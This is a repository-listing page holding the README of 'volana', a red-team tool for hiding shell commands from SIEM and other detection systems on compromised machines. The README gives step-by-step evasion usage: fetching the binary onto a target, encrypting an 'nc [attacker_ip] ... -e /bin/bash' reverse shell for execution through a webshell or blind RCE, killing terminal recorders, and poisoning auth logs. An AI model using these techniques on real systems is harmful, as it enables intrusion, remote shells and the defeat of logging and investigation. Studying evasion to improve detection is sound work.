https://github.com/ariary/volana
๐ Shell command obfuscation to avoid detection systems
https://github.com/ariary/volana
exploitation infosec obfuscator pentest pentest-tool redteam security shell-obfuscate
Last synced: 5 months ago
JSON representation
๐ Shell command obfuscation to avoid detection systems
- Host: GitHub
- URL: https://github.com/ariary/volana
- Owner: ariary
- License: unlicense
- Created: 2022-01-06T15:55:41.000Z (over 3 years ago)
- Default Branch: main
- Last Pushed: 2022-10-10T19:20:52.000Z (over 2 years ago)
- Last Synced: 2024-11-09T09:38:03.582Z (5 months ago)
- Topics: exploitation, infosec, obfuscator, pentest, pentest-tool, redteam, security, shell-obfuscate
- Language: Go
- Homepage:
- Size: 86.9 KB
- Stars: 121
- Watchers: 6
- Forks: 10
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-rainmana - ariary/volana - ๐ Shell command obfuscation to avoid detection systems (Go)
README
volana (moon in malagasy)
![]()
{ Use it ; ๐(hide from); ๐(detected by) }
Shell command obfuscation to avoid SIEM/detection system
During pentest, an important aspect is to be stealth. For this reason you should clear your tracks after your passage. Nevertheless, many infrastructures log command and send them to a SIEM in a real time making the afterwards cleaning part alone useless.
volana
provide a simple way to hide commands executed on compromised machine by providing it self shell runtime (enter your command, volana executes for you). Like this you clear your tracks DURING your passage## Usage
You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! [otherwise](#from-non-interactive-shell)). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed
```shell
## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana## Execute it
./volana## You are now under the radar
volana ยป echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana ยป [command]
```Keyword for volana console:
* `ring`: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call)
* `exit`: exit volana console### from non interactive shell
Imagine you have a non interactive shell (webshell or blind rce), you could use `encrypt` and `decrypt` subcommand.
Previously, you need to build `volana` with embedded encryption key.**On attacker machine**
```shell
## Build volana with encryption key
make build.volana-with-encryption## Transfer it on TARGET (the unique detectable command)
## [...]## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND
```Copy encrypted command and executed it with your rce **on target machine**
```shell
./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)```
***Why not just hide command with `echo [command] | base64` ?***
And decode on target with `echo [encoded_command] | base64 -d | bash`Because we want to be protected against systems that trigger alert for `base64` use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.
## Detection
Keep in mind that `volana` is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.
By detected we mean if we are able to trigger an alert if a certain command has been executed.
### Hide from
Only the `volana` launching command line will be catched. ๐ง **However, by adding a space** before executing it, the default bash behavior is to not save it
* Detection systems that are based on history command output
* Detection systems that are based on history files
* `.bash_history`, ".zsh_history" etc ..
* Detection systems that are based on bash debug traps
* Detection systems that are based on sudo built-in logging system
* Detection systems tracing all processes syscall system-wide (eg `opensnoop`)
* Terminal (tty) recorder (`script`, `screen -L`, [`sexonthebash`](https://github.com/ariary/sexonthebash), `ovh-ttyrec`, etc..)
* Easy to detect & avoid: `pkill -9 script`
* Not a common case
* `screen` is a bit more difficult to avoid, however it does not register input (secret input: `stty -echo` => avoid)
* Command detection Could be avoid with `volana` with encryption### Visible for
* Detection systems that have alert for unknown command (volana one)
* Detection systems that are based on keylogger
* Easy to avoid: copy/past commands
* Not a common case
* Detection systems that are based on syslog files (e.g. `/var/log/auth.log`)
* Only for `sudo` or `su` commands
* syslog file could be modified and thus be poisoned as you wish (e.g for */var/log/auth.log*:`logger -p auth.info "No hacker is poisoning your syslog solution, don't worry"`)
* Detection systems that are based on syscall (eg auditd,LKML/eBPF)
* Difficult to analyze, could be make unreadable by making several diversion syscalls
* Custom `LD_PRELOAD` injection to make log
* Not a common case at all## Bug bounty
Sorry for the clickbait title, but no money will be provided for contibutors. ๐
Let me know if you have found:
* a way to detect `volana`
* a way to spy console that don't detect `volana` commands
* a way to avoid a detection system[Report here](https://github.com/ariary/volana/issues/new/choose)
## Credit
* [8 ways to spy on console](https://github.com/annmuor/zn2021_8ways)
* [moonwalk](https://github.com/mufeedvh/moonwalk): similar tool that clear tracks AFTER passage